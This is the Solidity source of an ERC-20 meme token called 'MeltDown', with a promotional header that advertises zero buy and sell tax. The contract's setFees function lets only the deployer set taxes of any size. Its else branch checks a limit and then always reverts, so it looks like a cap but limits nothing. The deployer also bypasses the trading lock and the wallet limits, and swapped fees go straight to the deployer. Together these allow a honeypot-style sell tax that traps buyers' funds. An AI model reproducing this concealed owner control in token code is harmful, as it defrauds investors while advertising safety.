/**

The world has melted down, the resources remaining are scarce. Only those will Survive who can collect them. However you will need a strong team for this. In this world only three things count. How fast are you. How strong are you. And how smart are you.

Something is brewing on the dark side of the Wastelands.

100m $MTDW: TAX 0/0

TG: https://t.me/MeltDownERC20
TW: https://twitter.com/MeltDownERC20
WEB: https://meltdown.website

*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.18;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

}
interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract MeltDown {
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    string public constant name = "MeltDown";   
    string public constant symbol = "MTDW";   
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 100_000_000 * 10**decimals;

    uint256 buyTax = 0;
    uint256 sellTax = 0;
    uint256 constant swapAmount = totalSupply / 1000;
    uint256 constant maxWallet = 100 * totalSupply / 100;

    bool tradingOpened = false;
    bool swapping;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    address immutable pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
    address payable constant deployer = payable(address(0x7fbE5dDe31b40Bb337CFB43Cd65246E21040DE95));

    constructor() {
        pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), ETH);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external returns (bool){
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool){
        return _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool){
        allowance[from][msg.sender] -= amount;        
        return _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool){
        balanceOf[from] -= amount;

        if(from != deployer)
            require(tradingOpened);

        if(to != pair && to != deployer)
            require(balanceOf[to] + amount <= maxWallet);

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
            swapping = true;
            address[] memory path = new  address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                swapAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
            deployer.transfer(address(this).balance);
            swapping = false;
        }

        if(from != address(this) && to != deployer){
            uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100;
            amount -= taxAmount;
            balanceOf[address(this)] += taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function openTrading() external {
        require(msg.sender == deployer);
        tradingOpened = true;
    }

    function setFees(uint256 newBuyTax, uint256 newSellTax) external {
        if(msg.sender == deployer){
            buyTax = newBuyTax;
            sellTax = newSellTax;
        }
        else{
            require(newBuyTax < 10);
            require(newSellTax < 10);
            revert();
        }
        
    }
}